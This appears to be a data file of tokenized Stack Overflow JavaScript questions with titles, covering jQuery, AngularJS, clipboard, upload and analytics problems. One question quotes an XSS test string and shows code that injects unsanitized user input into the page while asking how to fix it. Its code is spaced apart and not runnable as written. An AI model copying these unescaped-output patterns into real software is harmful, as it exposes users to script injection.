' ] ; $ func = `` add ( `` . $ id . `` , Brad Henry ) '' ; array_push ( $ _SESSION [ 'players ' ] , $ dbsearch [ 'PlayerID ' ] ) ; echo `` < tr > < td > '' . $ id . '' < /td > < td > '' . $ dbu . `` < /td > < td > < input type=\ '' submit\ '' id=\ '' PlayerAdded '' . $ id . `` \ '' autofocus value=\ '' Add\ '' onclick=\ '' add ( ' '' . $ id. '' ' , ' '' . $ dbu . `` ' ) ; \ '' > < /input > < /td > < /tr > '' ; }",Keep iOS keyboard open while keyup function runs "JS : I was recently berated by a fellow developer for using `` string math '' in an app I wrote . I 'm pretty new to the whole development thing , with no formal training , and I have n't heard of this issue . What is it ? Code in question : Edit : The gist I 'm getting here is that this is n't a standard development colloquialism , and I should probably talk to the guy who gave me guff in the first place . So I 'll do that . Thanks guys . I 'll be back with an answer , or to check off whoever knew already . $ ( '.submit-input ' ) .click ( function ( ) { var valid = true ; $ ( 'input , select , radio ' ) .removeClass ( 'error ' ) ; $ ( '.error-message ' ) .hide ( ) ; $ ( '.validate ' ) .each ( function ( ) { if ( $ ( this ) .val ( ) == $ ( this ) .attr ( 'default ' ) ) { valid = false ; $ ( this ) .addClass ( 'error ' ) ; } } ) ; if ( ! $ ( 'select [ name= '' contact '' ] option : selected ' ) .val ( ) ! = `` ) { $ ( 'select [ name= '' contact '' ] ' ) .addClass ( 'error ' ) ; valid = false ; } if ( ! $ ( 'input [ name= '' ampm '' ] : checked ' ) .length ) { $ ( 'input [ name= '' ampm '' ] ' ) .addClass ( 'error ' ) ; valid = false ; } if ( ! valid ) { $ ( '.error-message ' ) .css ( 'display ' , 'block ' ) ; return false ; } else { var services_selected = 'Services Selected : ' ; services_selected += $ ( '.l3 ' ) .text ( ) + ' , ' + $ ( '.l4 ' ) .text ( ) + ' , ' + $ ( '.l5 ' ) .text ( ) + ' ; ' + $ ( '.l6 ' ) .text ( ) ; var prices = 'Prices : ' ; prices += $ ( '.l7 ' ) .text ( ) + ' , ' + $ ( '.l8 ' ) .text ( ) + ' , ' + $ ( '.l9 ' ) .text ( ) + ' , ' + $ ( '.l10 ' ) .text ( ) ; var name = 'Name : ' ; name += $ ( 'input [ name= '' name '' ] ' ) .val ( ) ; var phone = 'Phone : ' phone += $ ( 'input [ name= '' phone '' ] ' ) .val ( ) ; var time = 'Preferred contact time : ' ; time += $ ( 'select [ name= '' contact '' ] option : selected ' ) .val ( ) + $ ( 'input [ name= '' ampm '' ] : checked ' ) .val ( ) ; $ .ajax ( { url : 'php/mailer.php ' , data : 'services_selected= ' + services_selected + ' & prices= ' + prices + ' & name= ' + name + ' & phone= ' + phone + ' & time= ' + time , type : `` POST '' , success : function ( ) { $ ( ' # email_form_box .container ' ) .children ( ) .fadeOut ( 500 , function ( ) { $ ( ' # email_form_box .container ' ) .html ( ' < div style= '' margin:20px auto ; text-align : center ; width:200px ; '' > yada yada yada < br / > < span class= '' close '' > Close < /span > < /div > ' ) ; } ) ; } } ) ; } } ) ;",What 's `` string math '' and why is it bad ? "JS : I want to ask about how to make a form invisible when a button clicked ? So , if I have a button called `` Hide '' and a form with many button , textbox , etc . Then when I click `` Hide '' button , it will hide all form and all things in form such as textbox , button , etc . I have google it but have no result . I accept answer with Jquery , JS , or php language because I 'm using that language program.Example my form is like this : maybe there 's a way to make it invisible by a button ? < form name= '' myform '' method= '' post '' action= '' < ? php $ _SERVER [ 'PHP_SELF ' ] ; ? > '' > < table > < tr > < td > ID < /td > < td > : < /td > < td > < input type= '' text '' maxlength= '' 15 '' name= '' clientid '' / > < /td > < td > < input type= '' submit '' name= '' cariclientid '' value= '' Search '' / > < /td > < td width= '' 50px '' > < /td > < td > ID < /td > < td > : < /td > < td > < input type= '' text '' maxlength= '' 15 '' name= '' orderid '' / > < /td > < td > < input type= '' submit '' name= '' cariorderid '' value= '' Search '' / > < /td > < /tr > < tr > < td > No. < /td > < td > : < /td > < td > < input type= '' text '' maxlength= '' 15 '' name= '' veh '' / > < /td > < td > < input type= '' submit '' name= '' carikendaraan '' value= '' search '' / > < /td > < td > < /td > < td > Nama Sopir < /td > < td > : < /td > < td > < input type= '' text '' maxlength= '' 15 '' name= '' sopir '' / > < /td > < td > < input type= '' submit '' name= '' carisopir '' value= '' Cari '' / > < /td > < /tr > < tr > < td > Waktu Berangkat < /td > < td > : < /td > < td > < input type= '' text '' name= '' tglb '' id= '' datetimepicker '' / > < /td > < td > < input type= '' submit '' name= '' cariberangkat '' value= '' Cari '' / > < /td > < td > < /td > < td > Waktu Pulang < /td > < td > : < /td > < td > < input type= '' text '' name= '' tglp '' id= '' datetimepicker2 '' / > < /td > < td > < input type= '' submit '' name= '' caripulang '' value= '' Cari '' / > < /td > < /tr > < /table > < /form >",Jquery Button to make visible a form "JS : I am new to angularjs . My goal is very simple . I want to make an ajax call to get data and , once complete , I want to make a second call to get another set of data that is dependent on information in the first set.I 'm trying to do this utilizing promise mechanisms so that I can utilize chaining instead of nested ajax calls and to better retain the ability to have independent functions that I can tie together as needed.My code resembles the following : However , when I look at my debug console , I see that the call to `` promiseGetRecentActivities '' is beginning before the call the Ajax handling has occurred for `` promiseGetWorkTypes '' .What am I missing or doing wrong here ? var promiseGetWorkTypes = function ( $ q , $ scope , $ http ) { console.log ( `` promiseGetWorkTypes '' ) ; return $ q ( function ( resolve , reject ) { $ http ( { method : 'GET ' , url : '/WorkTypes ' } ) .then ( function ( payload ) { console.log ( `` Got workttypegroups '' ) console.log ( payload ) ; $ scope.WorkTypeGroups = payload.data ; console.log ( `` End of worktypegroups '' ) ; resolve ( payload ) ; } , function ( payload ) { reject ( payload ) ; } ) ; } ) ; } ; var promiseGetRecentActivities = function ( $ q , $ scope , $ http ) { console.log ( `` promiseGetRecentActivities '' ) ; return $ q ( function ( resolve , reject ) { $ http ( { method : 'GET ' , url : '/RecentHistory ' } ) .then ( function ( payload ) { $ scope.RecentActivities = payload.data ; resolve ( payload ) ; } , // data contains the response // status is the HTTP status // headers is the header getter function // config is the object that was used to create the HTTP request function ( payload ) { reject ( payload ) ; } ) ; } ) ; } ; var index = angular.module ( `` index '' , [ ] ) ; index.controller ( 'EntitiesController ' , function ( $ scope , $ http , $ timeout , $ q ) { promiseGetWorkTypes ( $ q , $ http , $ scope ) .then ( promiseGetRecentActivities ( $ q , $ http , $ scope ) ) ; }",$ http promise chain running in wrong order JS : While I am trying to learn jquery I learned that $ ( selector ) returns an object which has all the match of that selector and is iterable like arrays . eg $ ( `` button '' ) will return an object that will have access to all the button tag of DOM in such way that to access the first button tag you can use $ [ `` button '' ] [ 0 ] for second you can use $ [ `` button '' ] [ 1 ] and so on.So here below is code focus on commented line 1 and line 2.line 2 inside line1 event handler function is set up an infinite loop as you can see that when I Click on `` Click me '' button it will trigger line1 inside of which is line 2 which too will again trigger line 1 and so on.now see the below code snippet with changed line2.This time it is not setting up an infinite loop but prints to console `` 1 '' only two times why so ? < body > < button > Click me < /button > < script > $ ( document ) .ready ( function ( ) { // line 1 $ ( `` button '' ) .click ( function ( ) { console.log ( `` 1 '' ) ; // line 2 $ ( `` button '' ) .click ( ) ; } ) ; } ) ; < /script > < /body > < script > $ ( document ) .ready ( function ( ) { // line 1 $ ( `` button '' ) .click ( function ( ) { console.log ( `` 1 '' ) ; // line 2 $ ( `` button '' ) [ 0 ] .click ( ) ; } ) ; } ) ; < /script >,I am having a problem understanding the different behavior of $ ( `` button '' ) .click ( ) and $ ( `` button '' ) [ 0 ] .click ( ) "JS : I just saw on the Mozilla page that execCommand ( ) is obsolete https : //developer.mozilla.org/en-US/docs/Web/API/Document/execCommand '' This feature is obsolete . Although it may still work in some browsers , its use is discouraged since it could be removed at any time . Try to avoid using it . `` This is what I currently use to copy text to the user 's clipboard when the user clicks a `` copy text '' button . Is there another way to do it ? Edit : This How do I copy to the clipboard in JavaScript ? does not answer the question . It suggests the same obsolete solution . var input = // input element with the text input.focus ( ) ; input.setSelectionRange ( 0,99999 ) ; document.execCommand ( `` copy '' ) ; input.blur ( ) ;",Copy text to clipboard now that execCommand ( `` copy '' ) is obsolete JS : Let 's say I have a a.js file that contains : and I want it to import it from the file b.ts ( in the same directory ) like that : How can I tell TypeScript what the file a.js contains so that compilation of this import succeeds ? export function a ( ) { } import { a } from './a.js ',Can I create definition file for local JavaScript module ? "JS : I 've been trying to wrap my head around how javascript functions and scope work , and it just does n't make sense to me . Can someone please explain why the following code outputs : 'animal says meow ' instead of 'kitty says meow ' ? UPDATE @ FunkyFresh pointed out in the comments that console.log calls toString when it 's passed an object , which by default returns the object 's type ( animal ) . When I update the above code within the top block of code , andin the bottom , the console outputs 'Zax says meow ' , which seems about right . ( function ( $ , exports ) { var animal = function ( ) { } ; exports.Animal = animal ; } ) ( jQuery , window ) ; ( function ( $ , Animal ) { var kitty = new Animal ; kitty.sayHi = function ( ) { console.log ( this ) ; console.log ( 'says meow ' ) ; } $ ( $ .proxy ( function ( ) { $ ( ' # js_test ' ) .click ( $ .proxy ( kitty.sayHi , kitty ) ) ; } , kitty ) ) } ) ( jQuery , Animal ) ; animal.prototype.name = 'Mammal ' ; kitty.name = 'Zax ' ;",Please help me understand Javascript anonymous functions and jQuery .proxy ( ) "JS : I have the same issue as this question although my circumstances are slightly different , none of the solutions provided work for me.I have a bootstrap modal dialog inside an ASP update panel with a tinyMCE control which works fine apart from any modal popups from tinyMCE - all input controls are non focus-able , clicking and tabbing has no effect.The general consensus is to use e.stopImmediatePropagation ( ) although this does nothing in my setup . < asp : Panel ID= '' EditShowDetailsPanel '' runat= '' server '' CssClass= '' modal fade '' TabIndex= '' -1 '' role= '' dialog '' aria-labelledby= '' EditShowDetailsPanel '' > < div class= '' modal-dialog '' role= '' document '' > < div class= '' modal-content '' > < asp : UpdatePanel ID= '' EditShowDetailsUpdatePanel '' runat= '' server '' UpdateMode= '' Conditional '' > < ContentTemplate > < div class= '' modal-header '' > < h4 class= '' modal-title '' > Edit Show Details < /h4 > < /div > < div class= '' modal-body '' > < div class= '' row '' > < div class= '' col-xs-12 '' > < asp : TextBox ID= '' ShowInfoTextBox '' TextMode= '' MultiLine '' runat= '' server '' ClientIDMode= '' Static '' / > ... . < /div > < /div > < /div > < div class= '' modal-footer '' > < asp : LinkButton ID= '' SaveEditShowDetailsLinkButton '' runat= '' server '' OnClientClick= '' mceSave ( ) ; '' OnClick= '' SaveEditShowDetailsLinkButton_Click '' CssClass= '' btn btn-success '' > Save Changes < /asp : LinkButton > < button type= '' button '' class= '' btn btn-danger waves-effect '' data-dismiss= '' modal '' > Cancel < /button > < /div > < /ContentTemplate > < /asp : UpdatePanel > < /div > < /div > < /asp : Panel > < script type= '' text/javascript '' > function mceSave ( ) { //save contents to textbox tinyMCE.triggerSave ( ) ; } function pageLoad ( ) { var prm = Sys.WebForms.PageRequestManager.getInstance ( ) ; prm.add_beginRequest ( BeginRequestHandler ) ; function BeginRequestHandler ( sender , args ) { //remove mce editor tinymce.execCommand ( 'mceRemoveEditor ' , true , 'ShowInfoTextBox ' ) ; } //TinyMCE init $ ( document ) .ready ( function ( ) { tinymce.init ( { selector : `` textarea # ShowInfoTextBox '' , menubar : false , theme : `` modern '' , height : 300 , plugins : [ `` link lists hr anchor media code '' ] , toolbar : `` undo redo | bold italic underline | bullist numlist | link | media | code '' } ) ; } ) ; } < /script >",Bootstrap modal dialog in ASP Update Panel prevents input focus in tinyMCE plugins "JS : I have written a small component building on antd upload using which user could upload multiple files to the server . I have spent a lot of time debugging , but can not understand some of its behaviors . The component looks as follows : There are 2 problems that I am facing : Whenever the component is given a prefil that contains the files already uploaded to the server , I am unable to add new files . As I try to upload a new file after clicking Add Another which looks as followsthe component relapses to its default state that originally had 2 files . I just can not figure out how could I handle this.As I try to remove one of the default-file by clicking close-icon , it appears again after I click Add another.I know somewhere , I am unable to manage the component 's state correctly , but I just can not figure out myself . Here is the component 's code written using typescript.render is the main method that is rendering all the input-fields . The above component is used as follows : I must restate , that there is an issue only when initializing the component with files already uploaded to the server and works perfectly fine , when trying afresh with the component i.e when uploading for the first time . import { Button , Icon , Form , Input , Upload , message } from `` antd '' ; export type DefaultFileList = { uid : number | string ; name : string ; status ? : string ; url : string ; fileLabel : string ; } ; type state = { uploadFieldIdContainer : number [ ] ; mocAddErrorDescription ? : string ; uploadMap : { [ index : number ] : UploadFile [ ] } ; defaultMap : { [ index : number ] : { default : DefaultFileList [ ] ; fileLabel : string ; } ; } ; } ; type oprops = { prefil : DefaultFileList [ ] ; buttonLabel ? : string ; type : string ; } ; export default class DocumentUploader extends Component < FormComponentProps & oprops , state > { private maxUploadPerButton : number ; constructor ( props ) { super ( props ) ; this.maxUploadPerButton = 1 ; const dMap = this.prepareDefaultFileMap ( ) ; this.state = { uploadFieldIdContainer : this.getTotalDefaultDocuments ( ) , uploadMap : { } , defaultMap : dMap } ; this.addUploadFormField = this.addUploadFormField.bind ( this ) ; this.removeUploadField = this.removeUploadField.bind ( this ) ; } getTotalDefaultDocuments ( ) { if ( this.props.prefil & & Array.isArray ( this.props.prefil ) ) { return Array.from ( { length : this.props.prefil.length } , ( _ , k ) = > k + 1 ) ; } else { return [ ] ; } } prepareDefaultFileMap ( ) { if ( this.props.prefil & & this.props.prefil.length == 0 ) { return { } ; } else { const dMap = { } ; for ( let i = 0 ; i < this.props.prefil.length ; i++ ) { const p = this.props.prefil [ i ] ; const flabel = p.fileLabel ; //delete p.fileLabel ; dMap [ i + 1 ] = { default : [ p ] , fileLabel : flabel } ; } return dMap ; } } async componentDidMount ( ) { } componentWillReceiveProps ( nextProps : FormComponentProps & oprops ) { if ( this.props.prefil.length > 0 ) { this.setState ( { uploadFieldIdContainer : this.getTotalDefaultDocuments ( ) , defaultMap : this.prepareDefaultFileMap ( ) } ) ; } } removeUploadField ( key : number , event : React.MouseEvent < HTMLElement > ) { event.preventDefault ( ) ; /** * @ see https : //ant.design/components/form/ ? locale=en-US # components-form-demo-dynamic-form-item */ this.setState ( prevState = > ( { uploadFieldIdContainer : prevState.uploadFieldIdContainer.filter ( field = > field ! == key ) } ) ) ; } getUploadFileProps ( key : number ) : { [ index : string ] : any } { const _this = this ; const { defaultMap } = this.state ; const fileList = this.state.uploadMap [ key ] || [ ] ; const defaultFileList = ( defaultMap [ key ] & & defaultMap [ key ] .default ) || [ ] ; const props = { name : `` file '' , action : getDocumentStoreUploadApi ( ) , headers : HttpClient.requestConfig ( ) , onPreview : ( file : { [ index : string ] : any } ) = > { getFileFromDocumentStore ( file.url , file.name ) ; } , beforeUpload ( file : File , fileList : File [ ] ) { if ( file.type.match ( /image/gi ) ) { return false ; } else { return true ; } } , multiple : false , onChange ( info : { [ index : string ] : any } ) { console.log ( `` changed.. '' ) ; let fileList = info.fileList ; // 1 . Limit the number of uploaded files // Only to show 1 recent uploaded file , and old ones will be replaced by the new fileList = fileList.slice ( -1 * _this.maxUploadPerButton ) ; // 2 . Read from response and show file link fileList = fileList.map ( ( file : { [ index : string ] : any } ) = > { if ( file.response ) { // Component will show file.url as link file.url = file.response.url ; } return file ; } ) ; const { uploadMap } = _this.state ; Object.assign ( uploadMap , { [ key ] : fileList } ) ; _this.setState ( { uploadMap } ) ; if ( info.file.status === `` done '' ) { message.success ( ` $ { info.file.name } file uploaded successfully ` ) ; } else if ( info.file.status === `` error '' ) { message.error ( ` $ { info.file.name } file upload failed. ` ) ; } } } ; if ( fileList.length > 0 ) { Object.assign ( props , { fileList } ) ; } else if ( defaultFileList.length > 0 ) { Object.assign ( props , { defaultFileList } ) ; } return props ; } getUploadField ( key : number ) { const { getFieldDecorator } = this.props.form ; const { defaultMap } = this.state ; const documentLabel = ( defaultMap [ key ] & & defaultMap [ key ] .fileLabel ) || `` '' ; return ( < div className= '' d-flex justify-content-between '' > < div className= '' inline-block w-55 '' > < FormItem label= '' Select File '' > { getFieldDecorator ( ` selected_file_ $ { this.props.type } [ $ { key } ] ` , { rules : [ { required : `` undefined '' === typeof defaultMap [ key ] , message : `` Please select the file to upload '' } ] } ) ( // < input type= '' file '' id= '' input '' > < Upload { ... this.getUploadFileProps ( key ) } > < Button disabled= { false } > < Icon type= '' upload '' / > Click to Upload < /Button > < /Upload > ) } < /FormItem > < /div > < div className= '' inline-block w-45 '' > < FormItem label= '' File Label '' > { getFieldDecorator ( ` selected_file_label_ $ { this.props.type } [ $ { key } ] ` , { rules : [ { required : true , message : `` Please input the file label '' } ] , initialValue : documentLabel } ) ( < Input type= '' text '' / > ) } < /FormItem > < /div > < div className= '' inline-block pointer d-flex align-items-center '' > < span > < Icon type= '' close '' onClick= { this.removeUploadField.bind ( this , key ) } / > < /span > < /div > < /div > ) ; } addUploadFormField ( event : React.MouseEvent < HTMLElement > ) { event.preventDefault ( ) ; const { uploadFieldIdContainer } = this.state ; // We only keep inside the state an array of number // each one of them represent a section of fields . const lastFieldId = uploadFieldIdContainer [ uploadFieldIdContainer.length - 1 ] || 0 ; const nextFieldId = lastFieldId + 1 ; this.setState ( { uploadFieldIdContainer : uploadFieldIdContainer.concat ( nextFieldId ) } ) ; } getMainUploadButton ( ) { return ( < div className= '' d-flex w-100 mt-3 '' > < Button type= '' primary '' ghost= { true } className= '' w-100 letter-spacing-1 '' onClick= { this.addUploadFormField } > < Icon type= '' plus-circle '' / > { this.props.buttonLabel || `` Select File ( s ) To Upload '' } < /Button > < /div > ) ; } getUploadFieldFooter ( ) { return ( < div className= '' d-flex justify-content-between small '' > < div className= '' inline-block '' > < Button type= '' primary '' shape= '' circle '' icon= '' plus '' ghost= { true } size= '' small '' className= '' d-font mr-1 '' onClick= { this.addUploadFormField } / > < div className= '' text-primary pointer d-font inline-block letter-spacing-1 mt-1 '' onClick= { this.addUploadFormField } > Add another & nbsp ; < /div > < /div > < /div > ) ; } render ( ) { const { uploadFieldIdContainer } = this.state ; const mocButton = this.getMainUploadButton ( ) ; const toRender = uploadFieldIdContainer.length > 0 ? ( < div > < div className= '' w-100 p-2 gray-background br-25 '' > { uploadFieldIdContainer.map ( fieldIndex = > ( < div key= { fieldIndex } > { this.getUploadField ( fieldIndex ) } < /div > ) ) } { this.getUploadFieldFooter ( ) } < /div > < /div > ) : ( mocButton ) ; return toRender ; } } < DocumentUploader form= { this.props.form } prefil= { [ { uid : `` somehash '' , name : `` name '' , url : `` url '' , fileLabel : `` label '' } ] } type= '' test '' / >",Upload component not behaving as expected when supplied with the default file list "JS : With an array of I 'd like to construct an map object that looks like : But I 'm unsure how to switch the value of root.What do I set root to so that it recursively calls addLabelToMap with ' [ social ] ' , 'swipes ' = > ' [ social ] [ swipes ] ' , 'women ' = > ' [ social ] [ swipes ] ' , 'men ' ? I 've used root = root [ element ] but it 's giving an error.Alternative solutions would be great , but I 'd like to understand why this is n't working fundamentally . [ '/social/swipes/women ' , '/social/swipes/men ' , '/upgrade/premium ' ] ; { 'social ' : { swipes : { women : null , men : null } } , 'upgrade ' : { premium : null } } const menu = [ '/social/swipes/women ' , '/social/likes/men ' , '/upgrade/premium ' ] ; const map = { } ; const addLabelToMap = ( root , label ) = > { if ( ! map [ root ] ) map [ root ] = { } ; if ( ! map [ root ] [ label ] ) map [ root ] [ label ] = { } ; } const buildMenuMap = menu = > { menu // make a copy of menu // .slice returns a copy of the original array .slice ( ) // convert the string to an array by splitting the / 's // remove the first one as it 's empty // .map returns a new array .map ( item = > item.split ( '/ ' ) .splice ( 1 ) ) // iterate through each array and its elements .forEach ( ( element ) = > { let root = map [ element [ 0 ] ] || `` '' ; for ( let i = 1 ; i < element.length ; i++ ) { const label = element [ i ] ; addLabelToMap ( root , label ) // set root to [ root ] [ label ] //root = ? root = root [ label ] ; } } ) ; } buildMenuMap ( menu ) ; console.log ( map ) ;",How to build a menu list object recursively in JavaScript ? "JS : I am trying to group my content using the Content Grouping feature in Google Analytics . My website has two main groupings - `` Red Products '' and `` Orange Products '' . Under each grouping my products are divided into groups like `` Pressing '' , `` Diagnostics '' under `` Red Products '' and `` Power Tools '' , `` Saws '' under `` Orange Products '' . I went to the Google Analytics dashboard and in the admin tab I created two groupings for `` Red Products '' and `` Orange Products '' with slots 1 and 2 respectively . On each page under every group I am sending a `` _setPageGroup '' from my script . For my `` Pressing '' category every page under it sends this : My `` Saws '' category sends this : I created a custom dashboard in Google Analytics where I put my `` Red Products '' grouping as a dimension and PageViews as a metric for this dimension . I did the same for the `` Orange Products '' category . I visited some of the pages and after some time I checked my custom dashboard . It did n't categorize my content.At first I thought that I am not sending the category correctly and I decided to check with my Chrome Google Analytics debugger plugin . Here is what it shows : The debugger plugin also shows : I think this is an indicator that it correctly categorizes my `` Pressing '' group under slot 1.Why it does n't show anything in my custom dashboard in Google Analytics ? How much time does it take to update the metrics ? _gaq.push ( [ '_setPageGroup ' , ' 1 ' , 'Pressing ' ] ) ; _gaq.push ( [ '_setPageGroup ' , ' 2 ' , 'Saws ' ] ) ; _gaq.push processing `` _setPageGroup '' for args : `` [ 1 , Pressing ] '' Screen Resolution : 1920x1080Browser Size : 1899x971Color Depth : 24-bitPage Group : 1 : PressingCachebuster : 1887104810",How to make Content Grouping work in Google Analytics ? "JS : I 'm using code similar to below : Which I found here : Detecting if YouTube is blocked by company / ISPTo test if a user has access to youtube/facebook/twiter , so when I try to embed a video , or a like button . I know if the user can see it . At my workplace whenever I go to a website that uses a like/tweet button etc , I see a small portion of an ugly page telling me that the content is blocked on our network . I do n't want the people visiting my site to see this.The above code works fine for me on my network . But what methods can I use to test it to make sure it will work for everyone , and if it does n't what code would , as every workplace/network blocks content differently.Thanks for any answers . var image = new Image ( ) ; image.src = `` http : //youtube.com/favicon.ico '' ; image.onload = function ( ) { // The user can access youtube } ; image.onerror = function ( ) { // The user ca n't access youtube } ;","How can I test if a user viewing my website can not see some content , and how can I make sure my test works ?" "JS : I am trying to make a to-do application in pure HTML5 and Javascript and I have come across the problem of sanitizing the input.For eg : If user enters < script > alert ( `` XSS '' ) < /script > , the code is executed on the page.Code for adding an element is : while the code for displaying the elements is : Is there any way to sanitize the data using only HTML5 and Javascript properties ? if ( $ ( ' # TextArea ' ) .val ( ) ! == `` '' ) { var taskID = new Date ( ) .getTime ( ) ; var taskMessage = $ ( ' # textArea ' ) .val ( ) ; localStorage.setItem ( taskID , taskMessage ) ; } var i = 0 ; for ( i = localStorage.length ; i ! = 0 ; i -- ) { var taskID = localStorage.key ( i - 1 ) ; $ ( ' # task ' ) .append ( `` < li id= ' '' + taskID + `` ' > '' + localStorage.getItem ( taskID ) + `` < /li > '' ) ; }",Sanitizing user input when creating HTML elements "JS : I have a dict like this : { go : [ 'went ' , 'run ' ] , love : [ 'passion ' , 'like ' ] } The value of a key is its synonyms . And 'getSynonymWords ( word ) ' is a async function that returns a promise in which Its value is a list of synonym words corresponding with the parameter passed . How can I loop through the object to get another object recursively like this : This is my piece of code : It is incorrect because some tasks are not finished , But I do n't know how to run tasks parallel nested with promises . I 'm using Bluebird library . Could you help me ? { went : [ ] , run : [ ] , passion : [ ] , like : [ ] } function getRelatedWords ( dict ) { return new Promise ( function ( resolve ) { var newDict = { } ; for ( var key in dict ) { if ( dict.hasOwnProperty ( key ) ) { var synonyms = dict [ key ] ; Promise.map ( synonyms , function ( synonym ) { return getSynonymWords ( synonym ) .then ( function ( synonyms ) { newDict [ synonym ] = synonyms ; return newDict ; } ) ; } ) .then ( function ( ) { resolve ( newDict ) ; } ) ; } } } ) ; }",Nodejs parallel with promise JS : I have a contentEditable view that when i focusOut i get the html entered and save it.But when i remove all text from the contenteditable and then focus out i get the errorPlease see this jsfiddle and delete the value1 text and focus out.http : //jsfiddle.net/rmossuk/Q2kAe/8/Can anyone help with this ? best regardsRick Uncaught Error : Can not perform operations on a Metamorph that is not in the DOM .,contenteditable and emberjs "JS : I 'm using System.js to load modules written in TypeScript . System.js wraps my original code in a function , therefore when I have an error in my code and I try to see it in Chrome developer tool , clicking on the error just brings me to the first line of the JavaScript file in which there 's a declaration of a wrapping function that System.js has added , instead of the correct line in the original TypeScript file.Usually this is not a problem because System.js adds its own stack trace to the end of the error and clicking on it brings me to the correct line in the original TypeScript file without the wrapping function.However , sometimes System.js does not include the entire stack trace , then the original stack trace that Chrome produces is the only place to see the error line , but the problem is that clicking on it brings me to the JavaScript file instead of the TypeScript one , and to the first line , instead of the correct one , as I described above already.My question : Is this a bug in System.js or perhaps I 'm doing something wrong ? To make it more understandable , I will add here my code and will explain the scenario . However please remember that I do n't try to fix my code but to understand why I ca n't reach the correct error line via the developer tool.So this is my System.js declaration & configuration : And this is app.module ( the root file that System.js loads ) : The line that produces the error : Here is the full stack trace I get : As you can see , the correct error line is only shown in the OOTB developer tool stack trace , but not in the System.js one ( which 50 % of the time does show the actual error line , and supposed to do it all the time ) .And when I click on the error line in the OOTB developer tool stack trace , I just get this file with the first line highlighted : My question : Is this a bug in System.js or perhaps I 'm doing something wrong ? Any help will be profoundly appreciated ! < script src= '' /assets/libs/systemjs-master/dist/system-polyfills.js '' > < /script > < script src= '' /assets/libs/systemjs-master/dist/system.src.js '' > < /script > < script > System.config ( { defaultJSExtensions : true , transpiler : 'typescript ' , } ) ; System.import ( 'app.module ' ) .then ( null , console.error.bind ( console ) ) ; < /script > import './angular-1.4.7'import './angular-route.min'import { User } from `` ./classes '' ; import { Post } from `` ./classes '' ; import { BlogModel } from `` ./model '' var app : angular.IModule = angular.module ( `` blogApp '' , [ `` ngRoute '' ] ) ; var model : BlogModel = new BlogModel ( ) ; app.run ( function ( $ http : angular.IHttpService ) : void { $ http.get ( `` /user-context/current-user '' ) .success ( function ( currentUser : User ) : void { if ( currentUser.userName ) { model.currentUser = currentUser ; } } ) ; ... } ) ; ... $ http.get ( `` /user-context/current-user '' ) ( function ( require , exports , module , __filename , __dirname , global , GLOBAL ) { //this line is highlightedrequire ( './angular-1.4.7 ' ) ; require ( './angular-route.min ' ) ; var model_1 = require ( `` ./model '' ) ; var app = angular.module ( `` blogApp '' , [ `` ngRoute '' ] ) ; var model = new model_1.BlogModel ( ) ; app.run ( function ( $ http ) { $ http.get ( `` /user-context/current-user '' ) //but this is the line that should be highlighted .success ( function ( currentUser ) { if ( currentUser.userName ) { model.currentUser = currentUser ; } } ) ; ... } ) ; ... } ) ; // # sourceMappingURL=app.module.js.map } ) .apply ( __cjsWrapper.exports , __cjsWrapper.args ) ;",System.js does n't display full stack trace "JS : Hey how do i cache for x time this simple object that i set via $ http ( $ rootScope.config.app_genres ) ? i just would like to cache it to not repeat everytime the http request $ http.get ( $ rootScope.config.app_ws+'get/genres ' , { } , { cache : true } ) .success ( function ( response ) { $ rootScope.config.app_genres = response ; } ) ;",Angular js - cache a rootScope param and it 's value "JS : I create a RegExp object ( in JavaScript ) to test for the presence of a number : I use it like thisThe output of this is even more confusing : If I remove the g qualifier , it behaves as expected.Is this a bug as I believe it is , or some peculiar part of the spec ? Is the g qualifier supposed to be used this way ? ( I 'm re-using the same expression for multiple tasks , hence having the qualifier at all ) var test = new RegExp ( ' [ 0-9 ] ' , ' g ' ) ; console.log ( test.test ( ' 0 ' ) ) ; // trueconsole.log ( test.test ( ' 1 ' ) ) ; // false - why ? console.log ( test.test ( ' 1 ' ) ) ; // trueconsole.log ( test.test ( ' 0 ' ) ) ; // false - why ? console.log ( test.test ( ' 1 ' ) ) ; // trueconsole.log ( test.test ( ' 2 ' ) ) ; // false - why ? console.log ( test.test ( ' 2 ' ) ) ; // true - correct , but why is this one true ?",Unexpected Javascript RegExp behavior "JS : In MDC there are plenty of code snippets that meant to implement support for new ECMAScript standards in browsers that do n't support them , such as the Array.prototype.map function : What 's the benefit ( if there 's any ) of using this function rather than , var t = Object ( this ) ; rather than var t = this ; and var len = t.length > > > 0 ; rather than var len = t.length ; ? if ( ! Array.prototype.map ) { Array.prototype.map = function ( fun /* , thisp */ ) { `` use strict '' ; if ( this === void 0 || this === null ) throw new TypeError ( ) ; var t = Object ( this ) ; var len = t.length > > > 0 ; if ( typeof fun ! == `` function '' ) throw new TypeError ( ) ; var res = new Array ( len ) ; var thisp = arguments [ 1 ] ; for ( var i = 0 ; i < len ; i++ ) { if ( i in t ) res [ i ] = fun.call ( thisp , t [ i ] , i , t ) ; } return res ; } ; } function ( fun , thisp ) { // same code , just without the `` var thisp = arguments [ 1 ] ; '' line : `` use strict '' ; if ( this === void 0 || this === null ) throw new TypeError ( ) ; var t = Object ( this ) ; var len = t.length > > > 0 ; if ( typeof fun ! == `` function '' ) throw new TypeError ( ) ; var res = new Array ( len ) ; for ( var i = 0 ; i < len ; i++ ) { if ( i in t ) res [ i ] = fun.call ( thisp , t [ i ] , i , t ) ; } return res ; }",Why are the MDC prototype functions written this way ? "JS : When I want to create a gradient background in CSS3 I have to do this : and this is really annoying . Is there a better solution , for example a jQuery plugin , that will make my code cross browser compatible , if I just use : for example ? Is there a tool to help me write CSS3 code more easy ? background-color : # 3584ba ; background-image : -webkit-gradient ( linear , left top , left bottom , from ( # 54a0ce ) , to ( # 3584ba ) ) ; /* Safari 4+ , Chrome */background-image : -webkit-linear-gradient ( top , # 54a0ce , # 3584ba ) ; /* Safari 5.1+ , Chrome 10+ */background-image : -moz-linear-gradient ( top , # 54a0ce , # 3584ba ) ; /* FF3.6 */background-image : -o-linear-gradient ( top , # 54a0ce , # 3584ba ) ; /* Opera 11.10+ */filter : progid : DXImageTransform.Microsoft.gradient ( startColorstr= ' # 54a0ce ' , endColorstr= ' # 3584ba ' ) ; /* IE */ background-image : -webkit-linear-gradient ( top , # 54a0ce , # 3584ba ) ; /* Safari 5.1+ , Chrome 10+ */",Is there a way to make cross-browser CSS3 code DRY ? JS : Promise is now a global reserved word in es6 and linters throw a error . So what are the pitfalls of doing thisor should i do var Promise = require ( `` bluebird '' ) ; var BluebirdPromise = require ( `` bluebird '' ) ;,Redefinition of Promise "JS : I 'm interested in 